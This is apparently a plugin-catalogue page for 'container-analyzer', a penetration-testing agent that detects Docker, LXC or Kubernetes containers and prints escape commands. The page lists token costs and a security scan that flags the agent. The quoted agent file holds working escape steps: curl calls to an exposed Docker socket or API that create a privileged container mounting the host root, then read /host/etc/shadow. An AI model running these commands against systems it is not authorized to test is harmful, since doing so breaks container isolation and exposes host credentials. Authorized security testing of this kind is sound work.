container-analyzer

container-analyzer is an agent for coding agents from allsmog/blackbox-claude-plugin. It costs 127 tokens per session (2,737 once invoked), scanned C, original, MIT.

An agent for checking whether a running environment is a Docker, LXC, or Kubernetes container and examining possible ways out. Container escape means reaching the host system or another boundary from inside a container.

In plain words
What is it for?
Use it during authorized container-security testing to identify the container type, inspect escape vectors, and produce commands for testing them.
Why use it?
It organizes container detection and checks for weaknesses such as exposed management interfaces. This helps security testers assess the isolation of an environment.

Agent

Part of the blackbox-htb plugin — 17 skills, 11 commands, 9 agents shipped together

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add agents/allsmog/blackbox-claude-plugin/container-analyzer
Clone the repo
git clone --depth 1 https://github.com/allsmog/blackbox-claude-plugin

Or install blackbox-htb, the plugin that ships this one along with the rest of its 17 skills, 11 commands, 9 agents.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for container-analyzer

README.md
[![agentmods](https://agentmods.dev/badge/agents/allsmog/blackbox-claude-plugin/container-analyzer.svg)](https://agentmods.dev/agents/allsmog/blackbox-claude-plugin/container-analyzer)
Your own site
<a href="https://agentmods.dev/agents/allsmog/blackbox-claude-plugin/container-analyzer"><img src="https://agentmods.dev/badge/agents/allsmog/blackbox-claude-plugin/container-analyzer.svg" alt="Measured on agentmods" height="20"></a>
Per session 127 Only the description is in the session, so the agent can decide to use it. The body loads when it is invoked.
When invoked 2,737 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 2 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00127 $0.02737
Opus 5 $0.00063 $0.01368
Sonnet 5 $0.00025 $0.00547
Haiku 4.5 $0.00013 $0.00274

Measured 4d ago against content hash e33425da3753, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade C, and why

container-analyzer scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential fileshighPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

echo ' -d '\''{"Cmd":["cat","/host/etc/shadow"],"AttachStdout":true}'\'''

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -s --unix-socket /var/run/docker.sock http://localhost/version | head -5
blackbox-htb/agents/container-analyzer.md · 327 lines

How it starts

The opening of the file, as written. The whole thing — 327 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Container Analyzer Agent

Purpose

Detects containerization, identifies the container type, and systematically checks all escape vectors. Provides ready-to-run escape commands.

Behavior

On Invocation

  1. Detect container environment
  2. Identify container type (Docker, LXC, Kubernetes)
  3. Check all escape vectors
  4. Provide exploitation commands
  5. Update state with findings

Detection Phase

Container Environment Check
echo "=== Container Detection ==="

# Check for Docker
if [ -f /.dockerenv ]; then
    echo "[+] Docker: /.dockerenv exists"
fi

if grep -q docker /proc/1/cgroup 2>/dev/null; then
    echo "[+] Docker: cgroup contains 'docker'"
fi

# Check for LXC
if grep -q lxc /proc/1/cgroup 2>/dev/null; then
    echo "[+] LXC: cgroup contains 'lxc'"
fi

# Check for Kubernetes
if [ -d /var/run/secrets/kubernetes.io ]; then
    echo "[+] Kubernetes: service account directory exists"
fi

# Check hostname (Docker often uses 12-char hex)
hostname | grep -qE '^[a-f0-9]{12}$' && echo "[+] Hostname looks like Docker container ID"

# Process count (containers have fewer)
echo "[*] Process count: $(ps aux | wc -l)"

Escape Vector Enumeration

Vector 1: Docker Socket
echo "=== Docker Socket Check ==="

if [ -S /var/run/docker.sock ]; then
    echo "[!] VULNERABLE: Docker socket available!"
    echo "[*] Testing access..."
    curl -s --unix-socket /var/run/docker.sock http://localhost/version | head -5

    echo ""
    echo "[*] Escape command:"
    echo 'curl -s -X POST --unix-socket /var/run/docker.sock \'
    echo '    -H "Content-Type: application/json" \'
    echo '    http://localhost/containers/create \'
    echo '    -d '\''{"Image":"alpine","Cmd":["/bin/sh"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'\'''
else
    echo "[-] Docker socket not found"
fi
Vector 2: Docker Desktop API
echo "=== Docker Desktop API Check ==="

# Common Docker Desktop API addresses
for ip in 192.168.65.7 192.168.65.1 host.docker.internal 172.17.0.1 172.18.0.1; do
    result=$(curl -s -m 2 http://$ip:2375/version 2>/dev/null)
    if [ -n "$result" ]; then
        echo "[!] VULNERABLE: Docker API exposed at $ip:2375"
        echo "$result" | head -3

        echo ""
        echo "[*] Escape commands:"
        echo "# 1. Create privileged container"
        echo "curl -X POST http://$ip:2375/containers/create \\"
        echo '    -H "Content-Type: application/json" \'
        echo '    -d '\''{"Image":"alpine","Cmd":["/bin/sh"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'\'''
        echo ""
        echo "# 2. Start container"
        echo "curl -X POST http://$ip:2375/containers/<ID>/start"
        echo ""
        echo "# 3. Read host files (for Windows: /host/mnt/host/c/...)"
        echo "curl -X POST http://$ip:2375/containers/<ID>/exec \\"
        echo '    -H "Content-Type: application/json" \'
        echo '    -d '\''{"Cmd":["cat","/host/etc/shadow"],"AttachStdout":true}'\'''
        break
    fi
done

Read the full file on GitHub · 327 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 4d ago First seen · 327 lines · 127 tokens per session scan C e33425da3753

Subscribe to this mod's changes

container-analyzer is an agent published in the GitHub repository allsmog/blackbox-claude-plugin (5 stars, last pushed 6mo ago), licensed MIT. It adds 127 tokens to every session and 2,737 once invoked, about $0.0006 per session on Opus 5. A static security scan graded it C with 2 findings (reaches for credential files, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

Related

Other agents, from other repositories

devops-engineer

Usar para configuración de Docker, pipelines de CI/CD, estrategias de despliegue y setup de monitoring/observabilidad. Se activa en la fase 6 (entrega) de /alfred-dev:feature, en /alfred-dev:ship (empaquetado y despliegue) y en /alfred-dev:audit (revisión de infraestructura). También se puede invocar directamente para…

686f6c61/alfred-dev · 264 tokens

build-orchestrator

Use this agent when you need assistance with Docker and Make command management during development. This includes analyzing Dockerfiles for optimization opportunities, managing container lifecycles, handling volumes and data persistence, monitoring logs, and determining when rebuilds are necessary versus simple…

andisab/swe-marketplace · 355 tokens

ia-infrastructure-engineer

CI/CD pipelines, deployment strategies (blue-green, canary, rolling, feature flags), Docker containerization, observability (metrics/logs/traces), and incident management. Use for pipeline design, Dockerfile review, observability setup, or incident response.

iliaal/whetstone · 58 tokens

kth

Cloud-native engineer and educator. Co-author of Kubernetes Up & Running (2017, 2019). Long-time Google Cloud Platform staff developer advocate (2014–2023, retired from full-time work). Best known for the "no-code" demo style that turns abstract distributed-systems concepts into running examples on stage. Authored…

punt-labs/prfaq · 96 tokens

injection-tester

Tests for SQL injection, NoSQL injection, and OS command injection across HTTP parameters, JSON bodies, and headers. Uses sqlmap for automated SQLi detection and curl for manual probing. Follows 4-phase workflow. Deployed by common-appsec-patterns skill coordinator.

Stickman230/claude-pentest · 60 tokens

Pentester Executor

Executes specific vulnerability tests. Follows 4-phase workflow (Recon → Experiment → Test → Verify), generates PoCs, captures evidence. Specialized by attack type.

Stickman230/claude-pentest · 37 tokens